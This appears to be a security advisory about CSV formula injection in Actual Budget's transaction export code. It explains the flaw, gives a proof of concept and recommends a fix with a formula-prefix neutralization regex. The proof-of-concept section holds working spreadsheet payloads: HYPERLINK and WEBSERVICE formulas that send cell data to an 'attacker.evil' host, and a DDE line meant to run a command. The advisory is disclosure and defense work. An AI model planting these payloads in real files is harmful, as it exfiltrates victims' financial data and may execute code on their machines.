Summary

exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.

Details

Sink — packages/loot-core/src/server/transactions/export/export-to-csv.ts:56:

return csvStringify(transactionsForExport, { header: true });

and the same call again at export-to-csv.ts:131 for exportQueryToCSV. csv-stringify v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — grep for csvStringify finds exactly one source file across the monorepo.

Source of attacker-controlled Payee/Notes:

• packages/loot-core/src/server/transactions/import/parse-file.ts:77 dispatches uploaded files to parseCSV (:109), parseOFX (:200), parseQIF (:158), parseCAMT (:250). None of them strip or escape formula prefixes from payee_name/imported_payee/notes.
• For OFX, mapOfxTransaction in packages/loot-core/src/server/transactions/import/ofx2json.ts only runs html2Plain (HTML entity decoding) on the NAME field — =, +, -, @, \t are untouched.
• sync.normalizeTransactions (packages/loot-core/src/server/transactions/sync.ts) applies title() casing, which only mutates letters via String.toLowerCase; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (=hyperlink(...) parses identically to =HYPERLINK(...)).
• The payee can also be entered directly through the UI or set via the @actual-app/api's payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload.

Verification that csv-stringify does not neutralize formulas:

$ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))"
Payee
"=HYPERLINK(""http://x/?""&B2,""refund"")"

The double-quote escaping is intact, but the leading = is not prefixed with ' or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.

PoC

1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into "Import file":

Date,Payee,Amount
2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00
2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00
2026-01-03,"+1+1",-25.00
2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00

2. Victim imports through Account → Import file. parseFile (parse-file.ts:77) → parseCSV/parseOFX/parseQIF/parseCAMT returns rows with the formula strings preserved as payee_name. sync.normalizeTransactions does not strip the prefix characters.
3. Payees are persisted into the payees table verbatim.
4. Some time later the victim runs Account → menu → Export. transactions-export-query invokes exportQueryToCSV (export-to-csv.ts:131).
5. The exported file looks like (verified output shape from csvStringify):

Account,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared
Checking,2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",,,,100.00,0,Not cleared
Checking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared
Checking,2026-01-03,+1+1,,,,-25.00,0,Not cleared
Checking,2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",,,,10.00,0,Not cleared

6. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. =HYPERLINK(...) renders as a clickable link that exfiltrates adjacent cell values to attacker on click; =WEBSERVICE/=IMPORTXML (Sheets/LibreOffice) fire automatically; legacy =cmd|... DDE may execute on unpatched Excel.

Impact

• Confidentiality: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through =HYPERLINK clicks or auto-firing =WEBSERVICE/=IMPORTXML.
• Integrity: Spreadsheet recipients (accountants, tax preparers) see attacker-chosen display values where they expected raw payee names, enabling fraud (e.g., forged "Refund" line items linking to phishing).
• Reach: Exports from Actual Budget are commonly shared with third parties (accountants, tax software, household members). One malicious imported statement contaminates every future export of that budget.
• Note on AC:H: requires victim-driven import → export → spreadsheet open. Modern Excel disables DDE by default, narrowing the RCE pathway, but =HYPERLINK exfil is universal and silent.

Recommended Fix

Pass a cast.string callback to csv-stringify that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in packages/loot-core/src/server/transactions/export/export-to-csv.ts:

import { stringify as csvStringify } from 'csv-stringify/sync';

const FORMULA_PREFIX = /^[=+\-@\t\r]/;

function neutralizeFormula(value: string): string {
  return FORMULA_PREFIX.test(value) ? `'${value}` : value;
}

const csvOptions = {
  header: true,
  cast: {
    string: (value: string) => neutralizeFormula(value),
  },
} as const;

// export-to-csv.ts:56
return csvStringify(transactionsForExport, csvOptions);

// export-to-csv.ts:131
return csvStringify(transactionsForExport, csvOptions);

Alternative defenses to consider in addition:

• Strip/neutralize formula prefixes on import in parse-file.ts for payee_name/notes so the database never contains formula-shaped strings (defense in depth — protects any future export consumers).
• Add a regression unit test that asserts every CSV cell starting with =, +, -, @, \t, or \r is prefixed with '.

References

• GHSA-xqjm-27pc-rvwm